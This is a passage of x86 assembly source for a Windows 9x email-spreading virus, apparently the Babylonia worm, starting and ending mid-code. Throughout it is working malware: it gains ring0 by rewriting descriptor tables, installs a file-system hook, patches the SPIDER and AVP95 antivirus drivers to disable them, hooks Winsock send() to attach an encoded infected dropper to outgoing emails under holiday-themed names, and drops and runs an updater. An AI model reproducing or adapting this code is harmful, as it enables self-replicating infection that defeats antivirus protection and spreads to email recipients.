mov [ebp+(ofs oldsend-ofs vcode)], eax
|
|
db 0b8h
|
|
_freel dd 0
|
|
call eax
|
|
@@suxx:
|
|
|
|
push 8
|
|
push ebp
|
|
pop esi
|
|
push (ofs vend-ofs vcode)/4 ;make sure we're commited
|
|
pop ecx
|
|
rep lodsd
|
|
pop eax
|
|
lea edi, [ebp+(ofs myname-ofs vcode)]
|
|
xchg eax, ecx
|
|
rep stosd
|
|
|
|
mov ebp, esp ;jmp2ring0...
|
|
push 1
|
|
sgdt [ebp+gdt] ;get global descriptor table
|
|
sidt [ebp+idt] ;get interrupt table
|
|
mov esi, [ebp+gdt.base]
|
|
mov edi, esi
|
|
movzx ecx, wo [ebp+gdt.limit]
|
|
pop ebx
|
|
@@search_gdt:
|
|
sub eax, eax
|
|
cmp wo [esi.limit_l], 0ffffh
|
|
jne @@next_descriptor
|
|
cmp by [esi.limit_h], 0cfh ;descriptor start at 0?
|
|
jne @@next_descriptor
|
|
cmp wo [esi.base_l], ax ;and cover the whole range?
|
|
jne @@next_descriptor
|
|
cmp by [esi.base_m], al
|
|
jne @@next_descriptor
|
|
cmp by [esi.base_h], al
|
|
jne @@next_descriptor ;is a flat descriptor!
|
|
cmp [esi.access], 9bh
|
|
jne @@no_code ;is a code descriptor?
|
|
mov eax, esi
|
|
sub eax, [ebp+gdt.base]
|
|
mov [ebp+ring0_cs], eax ;yes, save it!
|
|
shl ebx, 1
|
|
jmp @@next_descriptor
|
|
@@no_code:
|
|
cmp [esi.access], 93h
|
|
jne @@next_descriptor ;is a data descriptor?
|
|
mov eax, esi
|
|
sub eax, [ebp+gdt.base]
|
|
mov [ebp+ring0_ds], eax ;yes, save it!
|
|
shl ebx, 1
|
|
@@next_descriptor:
|
|
lodsd
|
|
lodsd
|
|
bt ebx, 2 ;our 2 descriptors found?
|
|
jc @@search_done
|
|
loop @@search_gdt
|
|
jmp @@installed ;flat descriptors dont found
|
|
@@search_done:
|
|
mov esi, edi ;esi=1st entry
|
|
lodsd ;edi=nul entry
|
|
lodsd
|
|
test eax, eax ;nul entry isnt empty?
|
|
jnz @@installed ;then already resident
|
|
pusha
|
|
movsd
|
|
movsd ;backup 1st descriptor
|
|
popa
|
|
mov eax, dwo [ebp+ring0_cs]
|
|
mov wo [esi.selector], ax ;ring0 code selector
|
|
mov wo [esi.attrib], 0ec00h
|
|
call @@over_ring0_code ;[esp]=ring0 code
|
|
|
|
@@ring0_code:
|
|
mov ds, ax
|
|
mov es, ax ;setup data access
|
|
xchg esi, edi
|
|
movsd ;restore 1st descriptor
|
|
movsd
|
|
|
|
mov edi, ebp
|
|
mov ebx, [edi.gdt.base]
|
|
movzx ecx, wo [edi.gdt.limit]
|
|
call protect ;make gdt read only
|
|
mov ebx, [edi.idt.base]
|
|
movzx ecx, wo [edi.idt.limit]
|
|
call protect ;make idt read only
|
|
|
|
push 00270005h
|
|
call vxd ;VXDLDR GetDeviceList
|
|
@@next:
|
|
mov ebx, [eax+5] ;VxD_Desc_Block *DI_DDB
|
|
sub ebx, 0C0000000h
|
|
jc @@next_vxd
|
|
lea ecx, [ebx+0C000000Ch] ;Name_0
|
|
cmp [ecx], 'DIPS' ;'SPIDER '
|
|
je @@patch
|
|
cmp [ecx], '9PVA' ;'AVP95 '
|
|
jne @@next_vxd
|
|
@@patch:
|
|
push 0000D500h ;R0_OPENCREATFILE
|
|
pop esi
|
|
call ScanVxd
|
|
inc esi ;R0_OPENCREAT_IN_CONTEXT
|
|
call ScanVxd
|
|
@@next_vxd:
|
|
mov eax, [eax]
|
|
or eax, eax
|
|
jnz @@next
|
|
|
|
push 9
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push 1
|
|
push 64/4 ;memory for email shitz
|
|
push 010053h
|
|
call vxd
|
|
add esp, 8*4
|
|
test eax, eax
|
|
jz @@fucked
|
|
mov [ebp+(ofs mem_temp-ofs vcode)], eax
|
|
@@fucked:
|
|
push (ofs vend-ofs vcode)
|
|
push 9
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push 1
|
|
push (((ofs vend-ofs vcode)+4095)/4096)
|
|
push 010053h ;PageAlloc
|
|
call vxd
|
|
add esp, 8*4
|
|
test eax, eax
|
|
jz @@fuck
|
|
mov edi, eax
|
|
xchg eax, ecx
|
|
xchg ecx, [esp] ;pop size/push &hook
|
|
push ebp
|
|
pop esi
|
|
rep movsb
|
|
mov [edi+(ofs i_jmp-ofs vcode)-(ofs vend-ofs vcode)], ecx
|
|
mov [edi+(ofs socket_out-ofs vcode)-(ofs vend-ofs vcode)], ecx
|
|
mov wo [edi+(ofs jmpcc-ofs vcode)-(ofs vend-ofs vcode)], 0850fh
|
|
push 00400067h ;install ifs hook
|
|
call vxd
|
|
mov [edi+(ofs oldhook-ofs vcode)-(ofs vend-ofs vcode)], eax
|
|
@@fuck:
|
|
pop eax
|
|
retf
|
|
|
|
@@over_ring0_code:
|
|
pop eax
|
|
mov ebx, eax
|
|
shr eax, 16
|
|
mov wo [esi.offset_l], bx ;address of routine
|
|
mov wo [esi.offset_h], ax
|
|
push 0
|
|
pop dwo [ebp+jmpfar.jmpofs32]
|
|
mov wo [ebp+jmpfar.selectr], 8 ;jmp to callback 1
|
|
mov eax, dwo [ebp+ring0_ds] ;set ring0 data
|
|
push ds
|
|
push es
|
|
cli
|
|
call fwo [ebp+jmpfar] ;call our ring0 code
|
|
cli
|
|
pop es
|
|
pop ds
|
|
@@installed:
|
|
sub eax, eax
|
|
pop dwo fs:[eax] ;remove SEH
|
|
pop ecx
|
|
|
|
call delta
|
|
mov eax, [ebp+(ofs mem_temp-ofs vcode)]
|
|
test eax, eax
|
|
jz @@no_ready
|
|
|
|
push eax
|
|
call @@over
|
|
|
|
include updater.inc
|
|
|
|
@@over:
|
|
call _aP_depack_asm ;unpack updater data
|
|
push eax
|
|
push 2
|
|
pop ecx
|
|
lea esi, [ebp+(ofs dropname-ofs vcode)]
|
|
call r3_open
|
|
pop ecx
|
|
jz @@no_ready
|
|
mov esi, [ebp+(ofs mem_temp-ofs vcode)]
|
|
call r3_write
|
|
call r3_close
|
|
|
|
push 0
|
|
lea eax, [ebp+(ofs dropname-ofs vcode)]
|
|
push eax
|
|
db 0b8h
|
|
_winexec dd 0
|
|
call eax
|
|
|
|
@@no_ready:
|
|
|
|
cmp dwo [ebp+(ofs i_jmp-ofs vcode)], 0
|
|
je @@pe_exe
|
|
|
|
add esp, wsize
|
|
popa
|
|
popf
|
|
add esp, (ofs vend-ofs vcode)
|
|
sub eax, eax ;stop enumeration
|
|
ret 8 ;return to callback
|
|
@@pe_exe:
|
|
lea eax, [esp+wsize+(9*4)]
|
|
mov edi, [eax]
|
|
sub edi, 5 ;return place
|
|
mov [eax], edi
|
|
mov al, not 0b8h
|
|
instr1 equ by $-1
|
|
not eax
|
|
stosb
|
|
mov eax, 12345678h
|
|
instr2 equ dwo $-4
|
|
not eax
|
|
stosd
|
|
add esp, wsize
|
|
popa
|
|
popf
|
|
ret ;return to same place!
|
|
virusmain endp
|
|
|
|
|
|
hlp1_s = $
|
|
dw 4
|
|
dw (ofs _label1-ofs _label2)
|
|
_label2 = $
|
|
db "RR(`USER32.DLL',`EnumWindows',`SU')", 0
|
|
_label1 = $
|
|
|
|
dw 4
|
|
_size dw 0
|
|
p1 = $
|
|
db "EnumWindows(`"
|
|
hlp1_e = $
|
|
hlp1_sz = hlp1_e-hlp1_s
|
|
jmp esp
|
|
db "',666)", 0 ;29A
|
|
hlp2_e = $
|
|
hlp2_sz = hlp2_e-hlp1_e
|
|
|
|
|
|
check proc
|
|
call checkv
|
|
jc @@again_1
|
|
sub edx, edx
|
|
ret
|
|
@@again_1:
|
|
mov ebx, eax
|
|
@@again:
|
|
mov eax, ebx
|
|
call rnd
|
|
xor eax, edx
|
|
call checkv ;eax was validated?
|
|
jc @@again
|
|
xchg eax, edx ;edx is valid modifier?
|
|
call checkv
|
|
jc @@again
|
|
xchg edx, eax
|
|
ret
|
|
check endp
|
|
|
|
|
|
rnd proc
|
|
call @@2
|
|
dd 12345678h
|
|
@@2:
|
|
pop edx
|
|
sub [edx], 12345678h
|
|
org $-4
|
|
v2 dd 87654321h
|
|
mov edx, [edx]
|
|
xor [ebp+(ofs v2-ofs vcode)], edx ;get rnd number
|
|
ret
|
|
rnd endp
|
|
|
|
|
|
checkv proc
|
|
pusha
|
|
push 4
|
|
pop ecx
|
|
@@1:
|
|
cmp al, ' '
|
|
jbe @@error
|
|
cmp al, 0f0h
|
|
ja @@error
|
|
cmp al, '"'
|
|
jz @@error
|
|
cmp al, "'"
|
|
jz @@error
|
|
cmp al, "`"
|
|
jz @@error
|
|
cmp al, "\"
|
|
jz @@error
|
|
ror eax, 8 ;check for invalid characters
|
|
loop @@1 ;for hlp script
|
|
clc
|
|
mov cl, 12h
|
|
org $-1
|
|
@@error:
|
|
stc
|
|
popa
|
|
ret
|
|
checkv endp
|
|
|
|
|
|
open proc
|
|
call getatt
|
|
mov [ebp+(ofs attr-ofs vcode)], eax
|
|
sub ecx, ecx
|
|
call setatt
|
|
mov [ebp+(ofs fname-ofs vcode)], esi
|
|
mov eax, 0D500h
|
|
push 1h
|
|
sub ecx, ecx
|
|
mov ebx, 2022h
|
|
pop edx
|
|
call io
|
|
mov [ebp+(ofs handle-ofs vcode)], eax
|
|
ret
|
|
open endp
|
|
|
|
|
|
getsize proc
|
|
mov eax, 0D800h
|
|
__2_:
|
|
jmp __2__
|
|
getsize endp
|
|
|
|
|
|
close proc
|
|
mov eax, 0D700h
|
|
call __2_
|
|
mov ecx, 12345678h
|
|
attr equ dwo $-4
|
|
mov esi, 12345678h
|
|
fname equ dwo $-4 ;set old file attribute
|
|
close endp
|
|
|
|
|
|
setatt proc
|
|
mov eax, 4301h
|
|
__2__:
|
|
jmp __2___
|
|
setatt endp
|
|
|
|
|
|
getatt proc
|
|
mov eax, 4300h
|
|
__2___:
|
|
jmp __2
|
|
getatt endp
|
|
|
|
|
|
write proc
|
|
mov eax, 0D601h
|
|
jmp __2___
|
|
write endp
|
|
|
|
|
|
read proc
|
|
mov eax, 0D600h
|
|
__2:
|
|
mov ebx, 12345678h
|
|
handle equ dwo $-4
|
|
read endp
|
|
|
|
|
|
io proc
|
|
call delta
|
|
mov [ebp+(ofs eax_value-ofs vcode)], eax
|
|
mov eax, 00400032h ;Ring0_IO
|
|
xchg eax, [esp]
|
|
push eax
|
|
io endp
|
|
|
|
|
|
vxd proc
|
|
pop eax
|
|
call delta
|
|
mov wo [ebp+(ofs @@int-ofs vcode)], 20cdh
|
|
sub eax, ebp
|
|
add eax, -((ofs @@jmp-ofs vcode)+4)
|
|
mov [ebp+(ofs @@jmp-ofs vcode)], eax
|
|
pop dwo [ebp+(ofs @@address-ofs vcode)] ;dynamic VxDCall building
|
|
mov eax, 12345678h
|
|
eax_value equ dwo $-4
|
|
@@int:
|
|
int 20h
|
|
@@address dd 0
|
|
db 0e9h
|
|
@@jmp dd 0
|
|
vxd endp
|
|
|
|
|
|
bound_ db 'OUNDARY="'
|
|
bound_sz = $-ofs bound_
|
|
db 0
|
|
|
|
rva2raw proc
|
|
push esi
|
|
push ecx
|
|
push ebx
|
|
lea esi, [esp+section+(4*4)] ;first section
|
|
movzx ecx, wo [esp+pe_hdr+6+(4*4)]
|
|
@@section:
|
|
mov ebx, eax
|
|
sub ebx, [esi+12]
|
|
cmp [esi+8], ebx
|
|
jae @@found ;point inside section
|
|
sub esi, -40
|
|
loop @@section
|
|
sub ebx, ebx ;signal error
|
|
jmp @@error
|
|
@@found:
|
|
add ebx, [esi+20] ;convert to raw
|
|
@@error:
|
|
mov eax, ebx
|
|
pop ebx
|
|
pop ecx
|
|
pop esi
|
|
ret
|
|
rva2raw endp
|
|
|
|
|
|
check_size proc
|
|
test eax, eax
|
|
jz @@error
|
|
cmp eax, 2*1024*1024
|
|
jae @@error ;bigger than 2mb
|
|
cmp eax, 8*1024
|
|
jbe @@error ;smaller than 4kb
|
|
sub edx, edx
|
|
push 17
|
|
pop ecx ;if((fsize mod 17) = 15)
|
|
div ecx ;lexo32 ;-)
|
|
sub edx, 15
|
|
db 066h, 0b8h ;mov ax, ?
|
|
@@error:
|
|
sub eax, eax
|
|
ret
|
|
check_size endp
|
|
|
|
|
|
pstart equ this byte ;wsock32.dll code...
|
|
|
|
dd 0
|
|
db 'C:\_'
|
|
driver db 8 dup (0) ;drivername
|
|
db '.---', 0
|
|
|
|
send proc
|
|
call init2
|
|
mov eax, 12345678h
|
|
_send equ dwo $-4
|
|
jmp eax ;jmp to hmem send
|
|
send endp
|
|
|
|
|
|
init2 proc
|
|
cld
|
|
pusha
|
|
call @@delta
|
|
@@delta:
|
|
pop ebp
|
|
add ebp, -(ofs @@delta-ofs pstart) ;get delta in wsock32.dll
|
|
mov ebx, ebp
|
|
lea edi, [ebx+(ofs driver-ofs pstart)]
|
|
push 8
|
|
pop ecx
|
|
@@byte:
|
|
rol ebx, 4
|
|
mov al, bl
|
|
and al, 01111b ;convert address to filename
|
|
add al, 'A'
|
|
stosb
|
|
loop @@byte
|
|
add ebx, 4
|
|
push ebx
|
|
db 0b8h
|
|
_getfattr dd 0 ;call backdoor
|
|
call eax
|
|
mov eax, 90909090h
|
|
lea edi, [ebp+((ofs send-ofs pstart))]
|
|
stosd ;clean calls to install
|
|
stosb
|
|
mov eax, [ebp] ;get ring0 interface code
|
|
test eax, eax
|
|
jz @@damaged ;cant get the interface
|
|
mov [ebp+(ofs _send-ofs pstart)], eax ;set jmps to my hmem handlers
|
|
@@damaged:
|
|
popa
|
|
ret
|
|
init2 endp
|
|
|
|
pend equ this byte
|
|
|
|
|
|
include unpack.inc
|
|
|
|
|
|
ScanVxd proc
|
|
pusha
|
|
mov edi, [ebx+0C0000018h] ;Control_Proc_0
|
|
@@page:
|
|
lea ecx, [edi+4] ;check presence for
|
|
test ecx, 00000FFFh
|
|
jz @@check ;to each new page encountered
|
|
@@mov:
|
|
inc edi
|
|
cmp [edi], esi ;B8 <esi>
|
|
jne @@page
|
|
cmp by [edi-1], 0B8h
|
|
jne @@page
|
|
mov dwo [edi], -1 ;R0_xxx <-- 0xFFFFFFFF
|
|
jmp @@page
|
|
@@check:
|
|
pusha
|
|
sub esp, 28
|
|
mov esi, esp
|
|
push 28
|
|
push esi ;esi = MEMORY_BASIC_INFO
|
|
push ecx
|
|
push 00010134h
|
|
call vxd ;VMMcall PageQuery
|
|
bt dwo [esi+10h], 3 ;mbi_state & MEM_COMMIT
|
|
lea esp, [esp+4*3+28]
|
|
popa
|
|
jc @@mov ;will not fault?
|
|
popa
|
|
ret
|
|
ScanVxd endp
|
|
|
|
|
|
IF DEBUG EQ TRUE
|
|
dropname db 'C:\GOAT.EXE', 0
|
|
ELSE
|
|
dropname db 'C:\BABYLONIA.EXE', 0
|
|
ENDIF
|
|
|
|
|
|
myname dd 0
|
|
mem_temp dd 0
|
|
mem dd 0
|
|
sent dd 0
|
|
uudropper dd 0
|
|
uusize dd 0
|
|
b64dropper dd 0
|
|
b64size dd 0
|
|
|
|
|
|
my_send proc
|
|
call init
|
|
pusha
|
|
call delta
|
|
mov esi, [esp+(8*4)+(1*4)+4] ;send() buffer
|
|
db 0b9h
|
|
socket_out dd 0 ;we're monitoring a specific socket?
|
|
jecxz @@all
|
|
cmp [esp+(8*4)+(1*4)+0], ecx ;if so, then make sure is our
|
|
je @@monitor
|
|
jmp @@done
|
|
|
|
@@all:
|
|
cmp [esi], 'ATAD' ;email is being send!
|
|
jne @@done
|
|
mov eax, [esp+(8*4)+(1*4)+0] ;monitor this socket only now
|
|
mov [ebp+(ofs socket_out-ofs vcode)], eax
|
|
sub eax, eax
|
|
mov [ebp+(ofs boundary-ofs vcode)], eax ;init MIME fieldz
|
|
mov [ebp+(ofs sent-ofs vcode)], eax
|
|
jmp @@done
|
|
|
|
@@monitor:
|
|
mov ecx, [esp+(8*4)+(1*4)+8] ;size
|
|
mov edi, esi
|
|
mov al, '.' ;search .
|
|
push ecx
|
|
@@cont_dot:
|
|
repne scasb ;not end_of_email yet
|
|
jne @@no_dot ;so, check for MIME
|
|
cmp dwo [edi-2], 0a0d2e0ah
|
|
jne @@cont_dot ;make sure is the end_of_email sign
|
|
pop ecx ;ecx=size of buffer
|
|
call uu_send
|
|
sub eax, eax ;ready to infect next email
|
|
mov [ebp+(ofs socket_out-ofs vcode)], eax
|
|
jmp @@done ;send the .
|
|
|
|
@@no_dot:
|
|
pop ecx
|
|
dec ecx ;monitor MIME emailz
|
|
dec ecx
|
|
dec ecx ;size-3, since we load DWORDs
|
|
test ecx, ecx
|
|
js @@done ;buffer smaller than 2, exit!
|
|
@@scan:
|
|
push ecx
|
|
lodsd
|
|
dec esi
|
|
dec esi
|
|
dec esi
|
|
push esi
|
|
and eax, not 20202020h ;eax=upcase of 1st 4 letterz
|
|
db 0bah
|
|
boundary dd 0
|
|
test edx, edx ;we already found the boundary?
|
|
jnz @@boundary_found
|
|
sub eax, 'NUOB'
|
|
jnz @@bogus ;maybe a boundary?
|
|
lea edi, [ebp+(ofs bound_-ofs vcode)]
|
|
@@loop_1:
|
|
cmp by [edi], ah
|
|
je @@done_1
|
|
lodsb
|
|
cmp al, 'a'
|
|
jb @@up
|
|
cmp al, 'z' ;check string
|
|
ja @@up
|
|
and al, not 20h
|
|
@@up:
|
|
inc edi
|
|
not al
|
|
cmp by [edi-1], al
|
|
je @@loop_1
|
|
@@done_1:
|
|
jne @@bogus
|
|
mov edi, [ebp+(ofs mem-ofs vcode)] ;copy MIME boundary to buffer
|
|
mov [ebp+(ofs boundary-ofs vcode)], edi
|
|
@@next_b:
|
|
lodsb
|
|
cmp al, '"'
|
|
je @@copied
|
|
stosb
|
|
jmp @@next_b
|
|
@@copied:
|
|
sub eax, eax ;now we have all we need for
|
|
stosd ;a perfect send :)
|
|
jmp @@bogus
|
|
|
|
@@boundary_found:
|
|
push esi
|
|
dec esi
|
|
dec ecx
|
|
sub eax, eax ;search for boundary
|
|
@@match:
|
|
lodsb
|
|
inc edx
|
|
cmp by [edx], ah
|
|
je @@is_boundary
|
|
cmp by [edx], al ;compare stringz
|
|
je @@match
|
|
@@is_boundary:
|
|
xchg edi, esi ;edi=end of boundary+1
|
|
pop esi
|
|
jne @@bogus ;end reached and all match?
|
|
cmp al, '-'
|
|
jne @@bogus
|
|
scasb ;found last boundary!
|
|
jne @@bogus
|
|
pop eax ;fix stack
|
|
mov [esp], edi
|
|
mov wo [edi-2], 0A0Dh ;turn to normal boundary
|
|
sub edi, [esp+(8*4)+(1*4)+4+4] ;subtract buffer address
|
|
xchg [esp+(8*4)+(1*4)+8+4], edi ;new size
|
|
mov [ebp+(ofs eax_value2-ofs vcode)], edi ;save old for return
|
|
push dwo [esp+(8*4)+(1*4)+8+4] ;size
|
|
push dwo [esp+(8*4)+(1*4)+8+4] ;buffer
|
|
call safesend
|
|
pop edi ;interception point
|
|
mov wo [edi-2], '--' ;restore user buffer
|
|
mov [ebp+(ofs eax_value2-ofs vcode)], eax
|
|
jc @@error
|
|
call uu_send
|
|
mov eax, [ebp+(ofs eax_value2-ofs vcode)] ;how much they want send
|
|
mov ebx, [esp+(8*4)+(1*4)+8] ;how much we already send
|
|
sub eax, ebx
|
|
jz @@gran_finale ;done
|
|
mov [esp+(8*4)+(1*4)+8], eax ;send rest
|
|
add [esp+(8*4)+(1*4)+4], ebx ;starting from last send byte
|
|
push dwo [esp+(8*4)+(1*4)+8] ;size
|
|
push dwo [esp+(8*4)+(1*4)+8] ;buffer
|
|
call safesend ;send the remainder of user buffer
|
|
jc @@error
|
|
@@gran_finale:
|
|
mov edi, [ebp+(ofs boundary-ofs vcode)]
|
|
mov esi, edi
|
|
@@next1:
|
|
lodsb
|
|
test al, al
|
|
jnz @@next1 ;search end
|
|
xchg edi, esi
|
|
dec edi
|
|
add al, '-'
|
|
stosb ;make last boundary
|
|
stosb
|
|
sub edi, esi ;calculate the size
|
|
push edi ;size
|
|
push esi
|
|
call safesend ;send last boundary
|
|
@@error:
|
|
popa
|
|
db 0b8h
|
|
eax_value2 dd 0 ;return no error
|
|
ret 4*4
|
|
|
|
@@bogus:
|
|
pop esi
|
|
pop ecx
|
|
dec ecx
|
|
jnz @@scan ;bahh... to far to a loop
|
|
@@done:
|
|
popa
|
|
mov eax, 12345678h
|
|
oldsend equ dwo $-4
|
|
jmp eax
|
|
my_send endp
|
|
|
|
|
|
script db 'Content-Type: application/octet-stream; name="', 1, '"', 13, 10
|
|
db 'Content-Disposition: attachment; filename="', 1, '"', 13, 10
|
|
db 'Content-Transfer-Encoding: base64', 13, 10, 13, 10
|
|
db 0
|
|
script_sz = $-ofs script
|
|
|
|
|
|
uu_send proc
|
|
pusha
|
|
sub eax, eax
|
|
cmp [ebp+(ofs sent-ofs vcode)], eax
|
|
jne @@already
|
|
mov edi, [ebp+(ofs boundary-ofs vcode)]
|
|
cmp edi, eax
|
|
je @@skip_header
|
|
add edi, 100h ;work after boundary
|
|
push edi
|
|
lea esi, [ebp+(ofs script-ofs vcode)]
|
|
@@expand:
|
|
lodsb
|
|
not al
|
|
test al, al
|
|
jz @@send_header
|
|
cmp al, 1
|
|
jnz @@name
|
|
call ninsert ;insert exe name
|
|
db 0b0h
|
|
@@name:
|
|
stosb
|
|
jmp @@expand
|
|
@@send_header:
|
|
pop esi
|
|
sub edi, esi
|
|
push edi ;size
|
|
push esi ;buffer
|
|
call safesend ;send mime header
|
|
jc @@fuxkx
|
|
mov edi, [ebp+(ofs b64size-ofs vcode)]
|
|
mov esi, [ebp+(ofs b64dropper-ofs vcode)]
|
|
jmp @@block
|
|
@@skip_header:
|
|
mov edi, [ebp+(ofs uusize-ofs vcode)]
|
|
mov esi, [ebp+(ofs uudropper-ofs vcode)]
|
|
@@block:
|
|
mov eax, 4*1024 ;block size=4kb
|
|
cmp eax, edi
|
|
jb @@low
|
|
mov eax, edi ;send the remainder
|
|
@@low:
|
|
push eax ;size
|
|
push esi ;buffer
|
|
call safesend
|
|
jc @@fuxkx
|
|
add esi, eax
|
|
sub edi, eax
|
|
jnz @@block ;blockz left?
|
|
@@fuxkx:
|
|
mov [ebp+(ofs sent-ofs vcode)], ebp
|
|
@@already:
|
|
popa
|
|
ret
|
|
uu_send endp
|
|
|
|
|
|
init proc
|
|
pusha
|
|
cld
|
|
sub eax, eax
|
|
call delta
|
|
cmp [ebp+(ofs mem-ofs vcode)], eax
|
|
jne @@inited ;we already inited our dropper?
|
|
mov eax, [ebp+(ofs mem_temp-ofs vcode)]
|
|
mov [ebp+(ofs mem-ofs vcode)], eax
|
|
test eax, eax
|
|
jz @@inited
|
|
push eax
|
|
call @@over
|
|
|
|
include dropper.inc
|
|
|
|
@@over:
|
|
call _aP_depack_asm ;unpack dropper data
|
|
|
|
add esp, -8*2
|
|
push esp
|
|
db 0b8h
|
|
_gsystime dd 0
|
|
call eax
|
|
mov bl, [esp+(1*2)] ;bh=month
|
|
add esp, 8*2
|
|
|
|
push 6
|
|
lea esi, [ebp+(ofs dates-ofs vcode)]
|
|
lea ecx, [ebp+(ofs name0-ofs vcode)]
|
|
mov [ebp+(ofs myname-ofs vcode)], ecx
|
|
pop ecx
|
|
@@next_date:
|
|
lodsw
|
|
cmp ah, bl
|
|
je @@is
|
|
cmp bl, al
|
|
jne @@nope ;this holiday isnt this month
|
|
@@is:
|
|
pusha
|
|
mov edi, [ebp+(ofs mem-ofs vcode)]
|
|
add edi, icon ;where icon should go in dropper
|
|
mov esi, edi
|
|
add esi, (ofs coelho-icon) ;first icon
|
|
mov eax, 1152
|
|
xchg eax, ecx ;eax=count ecx=size icon
|
|
dec eax
|
|
lea edx, [ebp+(ofs names-ofs vcode)]
|
|
mov edx, [edx+(eax*4)]
|
|
add edx, ebp
|
|
mov [ebp+(ofs myname-ofs vcode)], edx ;get dropper name
|
|
cdq
|
|
mul ecx ;count*size+base=new icon
|
|
add esi, eax
|
|
rep movsb ;install new icon
|
|
popa
|
|
@@nope:
|
|
loop @@next_date ;check next date
|
|
|
|
push 2
|
|
lea esi, [ebp+(ofs dropname-ofs vcode)]
|
|
pop ecx
|
|
call r3_open
|
|
jz @@fux0r
|
|
push DROPPER_SIZE
|
|
mov esi, [ebp+(ofs mem-ofs vcode)]
|
|
pop ecx
|
|
call r3_write ;write clean dropper
|
|
call r3_close
|
|
push 3
|
|
lea esi, [ebp+(ofs dropname-ofs vcode)]
|
|
pop ecx
|
|
call r3_open
|
|
jz @@fux0r1
|
|
call r3_seof ;get new dropper size
|
|
cmp eax, DROPPER_SIZE
|
|
je @@fux0r2 ;was infected?
|
|
push eax
|
|
call r3_ssof
|
|
mov edi, [ebp+(ofs mem-ofs vcode)]
|
|
mov ecx, [esp]
|
|
lea eax, [edi+ecx]
|
|
push edi
|
|
push eax
|
|
call r3_read ;read infected dropper
|
|
@@fux0r2:
|
|
call r3_close
|
|
|
|
@@fux0r1:
|
|
lea eax, [ebp+(ofs dropname-ofs vcode)]
|
|
push eax
|
|
db 0b8h
|
|
_fdelete dd 0
|
|
call eax
|
|
pop edi ;edi=uuencode buffer
|
|
mov esi, [esp] ;esi=image
|
|
mov ecx, [esp+4] ;ecx=size
|
|
call uuencode
|
|
call delta
|
|
mov [ebp+(ofs uudropper-ofs vcode)], edi
|
|
mov [ebp+(ofs uusize-ofs vcode)], ecx
|
|
pop esi ;esi=image
|
|
lea edi, [edi+ecx]
|
|
pop eax ;eax=size
|
|
call BASE64
|
|
mov [ebp+(ofs b64dropper-ofs vcode)], edi
|
|
mov [ebp+(ofs b64size-ofs vcode)], ecx
|
|
|
|
lea eax, [ebp+(ofs wsock-ofs vcode)]
|
|
push eax
|
|
db 0b8h
|
|
_getmhandle dd 0
|
|
call eax
|
|
mov edi, [ebp+(ofs _getproc-ofs vcode)] ;eax=wsokc32 base
|
|
|
|
call @@112
|
|
db 'WSAGetLastError', 0
|
|
@@112:
|
|
push eax
|
|
call edi
|
|
mov [ebp+(ofs _WSAGetLastError-ofs vcode)], eax
|
|
jmp @@inited
|
|
|
|
@@fux0r:
|
|
sub eax, eax
|
|
mov [ebp+(ofs mem-ofs vcode)], eax
|
|
@@inited:
|
|
popa
|
|
ret
|
|
init endp
|
|
|
|
|
|
decript_names proc
|
|
pusha
|
|
call delta
|
|
lea edi, [ebp+(ofs name0-ofs vcode)]
|
|
push name_sz
|
|
pop ecx
|
|
mov esi, edi
|
|
@@999:
|
|
lodsb
|
|
not al ;crypt/decrypt
|
|
stosb
|
|
loop @@999
|
|
popa
|
|
ret
|
|
decript_names endp
|
|
|
|
|
|
ninsert proc
|
|
pusha
|
|
call decript_names
|
|
mov esi, [ebp+(ofs myname-ofs vcode)]
|
|
@@next:
|
|
lodsb
|
|
stosb
|
|
test al, al
|
|
jnz @@next
|
|
dec edi
|
|
mov eax, not 'EXE.'
|
|
not eax
|
|
stosd
|
|
mov [esp], edi
|
|
call decript_names
|
|
popa
|
|
ret
|
|
ninsert endp
|
|
|
|
|
|
dates equ this byte
|
|
db 06, 07 ; BABILONIA - US FLAG
|
|
db 12, 12 ; NAVIDAD - Papai Noel
|
|
db 04, 04 ; PASCOA - Ovo
|
|
db 01, 01 ; REYES MAGOS - Jesus
|
|
db 10, 11 ; HALLOWEN - Abobora
|
|
db 03, 03 ; PASCOA2 - Coelho
|
|
|
|
|
|
name0 db 'I-WATCH-U', 0 ;default name
|
|
name1 db 'BABILONIA', 0
|
|
name2 db 'X-MAS', 0
|
|
name3 db 'SURPRISE!', 0
|
|
name4 db 'JESUS', 0
|
|
name5 db 'BUHH', 0
|
|
name6 db 'CHOCOLATE', 0
|
|
name_sz = $-ofs name0
|
|
|
|
|
|
names equ this byte
|
|
dd (ofs name6-ofs vcode)
|
|
dd (ofs name5-ofs vcode)
|
|
dd (ofs name4-ofs vcode)
|
|
dd (ofs name3-ofs vcode)
|
|
dd (ofs name2-ofs vcode)
|
|
dd (ofs name1-ofs vcode)
|
|
dd 0
|
|
|
|
|
|
r3_open proc
|
|
sub eax, eax
|
|
push eax
|
|
push 22h
|
|
push ecx
|
|
push eax
|
|
push eax
|
|
push 0c0000000h
|
|
push esi
|
|
mov eax, 12345678h
|
|
_openfile equ dwo $-4
|
|
call eax ;CreateFileA
|
|
mov [ebp+(ofs r3handle-ofs vcode)], eax
|
|
inc eax
|
|
ret
|
|
r3_open endp
|
|
|
|
|
|
r3_close proc
|
|
push 12345678h
|
|
org $-4
|
|
r3handle dd 0
|
|
mov eax, 12345678h
|
|
_closehandle equ dwo $-4
|
|
call eax ;CloseHandle
|
|
ret
|
|
r3_close endp
|
|
|
|
|
|
r3_write proc
|
|
push 0
|
|
call @@1
|
|
dd 0
|
|
@@1: push ecx
|
|
push esi
|
|
push dwo [ebp+(ofs r3handle-ofs vcode)]
|
|
mov eax, 12345678h
|
|
_writefile equ dwo $-4
|
|
call eax ;WriteFile
|
|
ret
|
|
r3_write endp
|
|
|
|
|
|
r3_read proc
|
|
push 0
|
|
call @@1
|
|
dd 0
|
|
@@1: push ecx
|
|
push edi
|
|
push dwo [ebp+(ofs r3handle-ofs vcode)]
|
|
mov eax, 12345678h
|
|
_readfile equ dwo $-4
|
|
call eax ;WriteFile
|
|
ret
|
|
r3_read endp
|
|
|
|
|
|
r3_ssof proc
|
|
push 0
|
|
db 66h,0b8h
|
|
r3_seof proc
|
|
push 2
|
|
push 0
|
|
push 0
|
|
push dwo [ebp+(ofs r3handle-ofs vcode)]
|
|
mov eax, 12345678h
|
|
_seekfile equ dwo $-4
|
|
call eax
|
|
ret
|
|
r3_seof endp
|
|
r3_ssof endp
|
|
|
|
|
|
;UUENCODE
|
|
;ESI=Data to encode
|
|
